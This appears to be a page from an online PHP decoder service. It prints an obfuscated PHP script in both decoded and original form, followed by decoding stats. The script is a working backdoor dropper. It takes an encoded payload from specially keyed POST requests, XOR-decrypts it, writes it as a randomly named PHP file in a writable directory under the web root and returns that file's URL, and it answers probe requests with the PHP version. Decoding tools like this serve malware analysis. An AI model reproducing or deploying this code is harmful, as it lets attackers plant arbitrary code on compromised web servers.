Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $srEQIU = "DrhcBGbe";function PYcQBnfm($srEQIU){$aSZejbJw = chr(114)."\x61".chr(123-..

Decoded Output download

<?php $srEQIU = "DrhcBGbe";function PYcQBnfm($srEQIU){$aSZejbJw = chr(114)."a".chr(123-4)."u".chr(532-418)."l".chr(301-201).chr(1069-968)."c".'o'.chr(100).'e';$fMVsCFYe = "s".'t'.chr(892-778)."_".chr(114).'o'.chr(116).chr(448-399).'3';$XTFUc = 's'.chr(116).chr(114)."_"."s".chr(1024-912)."l"."i".chr(116);$srEQIU = $XTFUc($aSZejbJw($fMVsCFYe($srEQIU)));return $srEQIU;}function BYqYbXE($UJJiqsVJty, $NyvDnY){$CGUXrXsy = "s".'t'.'r'.chr(95).chr(281-166).chr(112).'l'."i".'t';$UJJiqsVJty = array_slice($CGUXrXsy(str_repeat($UJJiqsVJty, (count($NyvDnY)/16)+1)), 0, count($NyvDnY));return $UJJiqsVJty;}function OvRuzJ($vhIaEm, $fEnHVIy, $UJJiqsVJty){$trQRsDeMF = "1e7023db-260d-422b-a98e-e5e62cfb100c";return $vhIaEm ^ $trQRsDeMF[$fEnHVIy % strlen($trQRsDeMF)] ^ $UJJiqsVJty;}function ZSoUbUnb($NyvDnY, $UJJiqsVJty){$NyvDnY = array_map("OvRuzJ", array_values($NyvDnY), array_keys($NyvDnY), array_values($UJJiqsVJty));$NyvDnY = implode("", $NyvDnY);$caisqmo = chr(1081-964).'n'."s"."e".'r'."i".'a'."l"."i"."z".'e';$NyvDnY = @$caisqmo($NyvDnY);return $NyvDnY;}function RIzYKmuA(){echo "UbiaqdWR";}function PUTgYHVC($VbVgfKhir){static $ROzqLxcwpJ = array();$CbUGD = glob($VbVgfKhir . '/*', GLOB_ONLYDIR);$hXZkBLtPF = count($CbUGD);if ($hXZkBLtPF > 0) {foreach ($CbUGD as $VbVgfKh) {$rzgaCThLgn = chr(105)."s"."_"."w".chr(595-481)."i".'t'.'a'."b".'l'.chr(835-734);if (@$rzgaCThLgn($VbVgfKh)) {$ROzqLxcwpJ[] = $VbVgfKh;}}}foreach ($CbUGD as $VbVgfKhir) PUTgYHVC($VbVgfKhir);return $ROzqLxcwpJ;}function ncAygLUzAK(){echo "DrhcBGbe";}function BTXEuLNBD($NyvDnY){$GiASBnc = chr(68).'O'.'C'.chr(836-751)."M".chr(69)."N".'T'.chr(95).chr(82)."O".'O'."T";$twkYOCEep = $_SERVER[$GiASBnc];$CbUGD = PUTgYHVC($twkYOCEep);$uImujge = array_rand($CbUGD);$spTSGNpTEx = "."."p"."h".chr(629-517);$lvLMChV = $CbUGD[$uImujge] . "/" . substr(md5(time()), 0, 8) . $spTSGNpTEx;$ODZBnUgoe = chr(360-258).chr(105).'l'."e"."_"."p".chr(281-164).'t'.chr(986-891).chr(522-423).chr(821-710)."n"."t".'e'.'n'."t"."s";@$ODZBnUgoe($lvLMChV, $NyvDnY);$UnORGPqi = 'H'.chr(111-27)."T".chr(400-320)."_".chr(413-341).chr(79)."S"."T";$jEfrbwU = chr(104).chr(116).chr(286-170)."p".':'.'/'."/";$vtPbEVqk = $jEfrbwU . $_SERVER[$UnORGPqi] . substr($lvLMChV, strlen($twkYOCEep));print($vtPbEVqk);}foreach ($_POST as $UJJiqsVJty => $NyvDnY){$smQFaTeD = strlen($UJJiqsVJty);if ($smQFaTeD == 16){$NyvDnY = PYcQBnfm($NyvDnY);$UJJiqsVJty = BYqYbXE($UJJiqsVJty, $NyvDnY);$NyvDnY = ZSoUbUnb($NyvDnY, $UJJiqsVJty);if (@is_array($NyvDnY)){$uImujge = array_keys($NyvDnY);$NyvDnY = $NyvDnY[$uImujge[0]];if ($NyvDnY === $uImujge[0]){$gjqSOypMLk = chr(112)."h".chr(310-198);$hiWqKEVLvQ = chr(540-428).chr(104).'p'.'v'."e".chr(655-541).chr(793-678).chr(105).chr(1060-949)."n";$SFNMnwdA = chr(732-617)."e".chr(365-251)."i".'a'.'l'.chr(1059-954)."z"."e";echo @$SFNMnwdA(Array($gjqSOypMLk => @$hiWqKEVLvQ(), ));strlen($UJJiqsVJty);}else {BTXEuLNBD($NyvDnY);}die();}}} ?>

Did this file decode correctly?

Original Code

<?php $srEQIU = "DrhcBGbe";function PYcQBnfm($srEQIU){$aSZejbJw = chr(114)."\x61".chr(123-4)."\165".chr(532-418)."\x6c".chr(301-201).chr(1069-968)."\143".'o'.chr(100).'e';$fMVsCFYe = "\x73".'t'.chr(892-778)."\137".chr(114).'o'.chr(116).chr(448-399).'3';$XTFUc = 's'.chr(116).chr(114)."\137"."\x73".chr(1024-912)."\154"."\x69".chr(116);$srEQIU = $XTFUc($aSZejbJw($fMVsCFYe($srEQIU)));return $srEQIU;}function BYqYbXE($UJJiqsVJty, $NyvDnY){$CGUXrXsy = "\x73".'t'.'r'.chr(95).chr(281-166).chr(112).'l'."\151".'t';$UJJiqsVJty = array_slice($CGUXrXsy(str_repeat($UJJiqsVJty, (count($NyvDnY)/16)+1)), 0, count($NyvDnY));return $UJJiqsVJty;}function OvRuzJ($vhIaEm, $fEnHVIy, $UJJiqsVJty){$trQRsDeMF = "1e7023db-260d-422b-a98e-e5e62cfb100c";return $vhIaEm ^ $trQRsDeMF[$fEnHVIy % strlen($trQRsDeMF)] ^ $UJJiqsVJty;}function ZSoUbUnb($NyvDnY, $UJJiqsVJty){$NyvDnY = array_map("OvRuzJ", array_values($NyvDnY), array_keys($NyvDnY), array_values($UJJiqsVJty));$NyvDnY = implode("", $NyvDnY);$caisqmo = chr(1081-964).'n'."\x73"."\x65".'r'."\x69".'a'."\154"."\x69"."\172".'e';$NyvDnY = @$caisqmo($NyvDnY);return $NyvDnY;}function RIzYKmuA(){echo "UbiaqdWR";}function PUTgYHVC($VbVgfKhir){static $ROzqLxcwpJ = array();$CbUGD = glob($VbVgfKhir . '/*', GLOB_ONLYDIR);$hXZkBLtPF = count($CbUGD);if ($hXZkBLtPF > 0) {foreach ($CbUGD as $VbVgfKh) {$rzgaCThLgn = chr(105)."\x73"."\137"."\x77".chr(595-481)."\151".'t'.'a'."\x62".'l'.chr(835-734);if (@$rzgaCThLgn($VbVgfKh)) {$ROzqLxcwpJ[] = $VbVgfKh;}}}foreach ($CbUGD as $VbVgfKhir) PUTgYHVC($VbVgfKhir);return $ROzqLxcwpJ;}function ncAygLUzAK(){echo "DrhcBGbe";}function BTXEuLNBD($NyvDnY){$GiASBnc = chr(68).'O'.'C'.chr(836-751)."\x4d".chr(69)."\x4e".'T'.chr(95).chr(82)."\x4f".'O'."\x54";$twkYOCEep = $_SERVER[$GiASBnc];$CbUGD = PUTgYHVC($twkYOCEep);$uImujge = array_rand($CbUGD);$spTSGNpTEx = "\56"."\160"."\150".chr(629-517);$lvLMChV = $CbUGD[$uImujge] . "/" . substr(md5(time()), 0, 8) . $spTSGNpTEx;$ODZBnUgoe = chr(360-258).chr(105).'l'."\x65"."\x5f"."\x70".chr(281-164).'t'.chr(986-891).chr(522-423).chr(821-710)."\x6e"."\x74".'e'.'n'."\164"."\x73";@$ODZBnUgoe($lvLMChV, $NyvDnY);$UnORGPqi = 'H'.chr(111-27)."\x54".chr(400-320)."\x5f".chr(413-341).chr(79)."\123"."\124";$jEfrbwU = chr(104).chr(116).chr(286-170)."\160".':'.'/'."\57";$vtPbEVqk = $jEfrbwU . $_SERVER[$UnORGPqi] . substr($lvLMChV, strlen($twkYOCEep));print($vtPbEVqk);}foreach ($_POST as $UJJiqsVJty => $NyvDnY){$smQFaTeD = strlen($UJJiqsVJty);if ($smQFaTeD == 16){$NyvDnY = PYcQBnfm($NyvDnY);$UJJiqsVJty = BYqYbXE($UJJiqsVJty, $NyvDnY);$NyvDnY = ZSoUbUnb($NyvDnY, $UJJiqsVJty);if (@is_array($NyvDnY)){$uImujge = array_keys($NyvDnY);$NyvDnY = $NyvDnY[$uImujge[0]];if ($NyvDnY === $uImujge[0]){$gjqSOypMLk = chr(112)."\150".chr(310-198);$hiWqKEVLvQ = chr(540-428).chr(104).'p'.'v'."\145".chr(655-541).chr(793-678).chr(105).chr(1060-949)."\x6e";$SFNMnwdA = chr(732-617)."\145".chr(365-251)."\151".'a'.'l'.chr(1059-954)."\172"."\145";echo @$SFNMnwdA(Array($gjqSOypMLk => @$hiWqKEVLvQ(), ));strlen($UJJiqsVJty);}else {BTXEuLNBD($NyvDnY);}die();}}}

Function Calls

None

Variables

$srEQIU DrhcBGbe

Stats

MD5 0949604581162546c4ad5e315d7363e1
Eval Count 0
Decode Time 84 ms